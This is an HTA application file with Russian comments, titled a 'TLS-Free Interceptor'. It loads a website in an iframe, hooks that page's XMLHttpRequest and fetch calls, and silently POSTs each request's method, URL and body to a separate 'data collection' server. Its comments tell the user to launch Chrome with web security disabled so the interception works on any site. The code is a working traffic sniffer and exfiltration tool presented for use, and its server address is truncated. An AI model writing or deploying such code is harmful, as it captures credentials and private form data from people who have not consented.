Загрузка данных
<html>
<head>
<!--
ИСПРАВЛЕНО: Принудительно включаем режим Edge.
Без этого современные сайты внутри iframe даже не загрузятся.
-->
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<title>Global TLS-Free Interceptor (Admin NO)</title>
<hta:application
id="tlsFreeApp"
scroll="no"
windowstate="normal"
contextmenu="no"
selection="no"
/>
<style>
body { font-family: 'Segoe UI', Arial, sans-serif; margin: 0; padding: 0; background: #1a1a1a; color: #e0e0e0; overflow: hidden; }
h2 { color: #00ff66; margin: 0; font-size: 18px; }
.control-panel { height: 60px; background: #262626; border-bottom: 1px solid #3d3d3d; padding: 10px 20px; box-sizing: border-box; display: flex; align-items: center; justify-content: space-between; }
#status { font-family: monospace; font-size: 12px; color: #a0a0a0; }
iframe { width: 100%; height: calc(100% - 60px); border: none; background: #fff; }
</style>
<script language="javascript">
// -------------------------------------------------------------
// ИСПРАВЛЕНО: Указан полный IP-адрес вашего сервера сбора данных
// -------------------------------------------------------------
var MIRROR_SERVER = "http://192.168.1";
function injectTrafficSniffer() {
var monitorFrame = document.getElementById("targetWebFrame");
try {
var frameWin = monitorFrame.contentWindow;
if (frameWin && !frameWin._isIntercepted) {
// Перехват XMLHttpRequest
if (frameWin.XMLHttpRequest) {
var origOpen = frameWin.XMLHttpRequest.prototype.open;
var origSend = frameWin.XMLHttpRequest.prototype.send;
frameWin.XMLHttpRequest.prototype.open = function(method, url) {
this._mMethod = method;
this._mUrl = url;
return origOpen.apply(this, arguments);
};
frameWin.XMLHttpRequest.prototype.send = function(body) {
sendCopyToRemoteServer(this._mMethod, this._mUrl, body);
return origSend.apply(this, arguments);
};
}
// Перехват Fetch API
if (frameWin.fetch) {
var origFetch = frameWin.fetch;
frameWin.fetch = function(input, init) {
var url = (typeof input === 'string') ? input : input.url;
var method = (init && init.method) ? init.method : 'GET';
var body = (init && init.body) ? init.body : null;
sendCopyToRemoteServer(method, url, body);
return origFetch.apply(this, arguments);
};
}
frameWin._isIntercepted = true;
document.getElementById("status").innerHTML = "<span style='color:#00ff66;'>[АКТИВЕН] Сниффер успешно внедрен.</span>";
}
} catch(err) {
// Если это внешний HTTPS-сайт, мы попадем сюда из-за Same-Origin Policy.
// Чтобы это исправить для ЛЮБЫХ сайтов, нужно использовать запуск внешнего Chrome,
// который мы создавали на шаге Категории А (через флаг --disable-web-security).
document.getElementById("status").innerHTML = "<span style='color:#ffcc00;'>Режим ожидания потока данных...</span>";
}
}
function sendCopyToRemoteServer(method, url, payload) {
try {
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
xhr.open("POST", MIRROR_SERVER, true);
xhr.setRequestHeader("Content-Type", "application/json");
var logData = {
source: "HTA_Edge_Iframe_Agent",
time: new Date().getTime(),
method: method,
url: url,
raw_payload_before_tls: payload
};
xhr.send(JSON.stringify(logData));
} catch(e) {
// Защита от зависания интерфейса при недоступности сервера сбора
}
}
</script>
</head>
<body>
<div class="control-panel">
<div>
<h2>Мониторинг веб-трафика</h2>
<div id="status">Загрузка фрейма...</div>
</div>
<div style="font-size: 12px; color: #ffcc00; text-align: right;">
<strong>User Mode (Admin NO)</strong><br>Захват данных до TLS
</div>
</div>
<!--
В src указан httpbin.org.
Если это локальный HTML-файл на диске (file:///) — перехват сработает на 100%.
Если это внешний защищенный сайт, для полной работы без ошибок Same-Origin
запустите сессию через код с вызовом незащищенного Chrome (флаг --disable-web-security).
-->
<iframe id="targetWebFrame" src="https://httpbin.org" onload="injectTrafficSniffer()"></iframe>
</body>
</html>